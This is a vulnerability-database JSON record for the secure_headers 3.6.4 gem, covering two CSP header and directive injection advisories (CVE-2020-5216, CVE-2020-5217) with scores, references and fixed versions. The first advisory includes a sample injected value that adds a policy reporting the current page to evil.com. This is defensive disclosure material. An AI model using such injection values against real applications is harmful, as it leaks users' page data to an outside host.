{"url":"http://public2.vulnerablecode.io/api/packages/199082?format=json","purl":"pkg:gem/secure_headers@3.6.4","type":"gem","namespace":"","name":"secure_headers","version":"3.6.4","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"3.9.0","latest_non_vulnerable_version":"6.3.0","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/33178?format=json","vulnerability_id":"VCID-1hff-pbpa-p3e5","summary":"Limited header injection when using dynamic overrides with user input in RubyGems secure_headers\n### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5216","reference_id":"","reference_type":"","scores":[{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57315","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57287","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57308","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57327","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57314","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57312","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57261","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57179","published_at":"2026-04-01T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.57283","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00347","scoring_system":"epss","scoring_elements":"0.5726","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5216"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5216","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5216"},{"reference_url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"},{"reference_url":"https://github.com/twitter/secure_headers","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers"},{"reference_url":"https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"},{"reference_url":"https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3","scoring_elements":""},{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5216","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5216"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801286","reference_id":"1801286","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801286"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998","reference_id":"949998","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998"},{"reference_url":"https://github.com/advisories/GHSA-w978-rmpf-qmwg","reference_id":"GHSA-w978-rmpf-qmwg","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-w978-rmpf-qmwg"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:4366","reference_id":"RHSA-2020:4366","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:4366"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/73010?format=json","purl":"pkg:gem/secure_headers@3.9.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.9.0"},{"url":"http://public2.vulnerablecode.io/api/packages/73009?format=json","purl":"pkg:gem/secure_headers@5.2.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.2.0"},{"url":"http://public2.vulnerablecode.io/api/packages/199113?format=json","purl":"pkg:gem/secure_headers@6.0.0.alpha01","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.0.0.alpha01"},{"url":"http://public2.vulnerablecode.io/api/packages/73008?format=json","purl":"pkg:gem/secure_headers@6.3.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.3.0"}],"aliases":["CVE-2020-5216","GHSA-w978-rmpf-qmwg"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-1hff-pbpa-p3e5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/33167?format=json","vulnerability_id":"VCID-utte-4yve-n7eq","summary":"Directive injection when using dynamic overrides with user input\n### Impact\n\nIf user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.\n\nThis could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.\n\nThe fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.\n\n> Duplicate script-src directives detected.  All but the first instance will be ignored.\n\nSee https://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.\n\n### Patches\n\nDepending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.\n\n### Workarounds\n\nIf you are passing user input into the above methods, you could filter out the input:\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\";\", \" \")])\n```\n\n### References\n\nReported in https://github.com/twitter/secure_headers/issues/418\nhttps://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)\n* DM @ndm on twitter","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5217","reference_id":"","reference_type":"","scores":[{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66877","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66772","published_at":"2026-04-01T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.6681","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66835","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66808","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66857","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.6687","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.6689","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66876","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00521","scoring_system":"epss","scoring_elements":"0.66844","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5217"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5217","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5217"},{"reference_url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml"},{"reference_url":"https://github.com/twitter/secure_headers","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers"},{"reference_url":"https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3"},{"reference_url":"https://github.com/twitter/secure_headers/issues/418","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers/issues/418"},{"reference_url":"https://github.com/twitter/secure_headers/pull/421","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers/pull/421"},{"reference_url":"https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3","scoring_elements":""},{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5217","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5217"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801264","reference_id":"1801264","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801264"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugrep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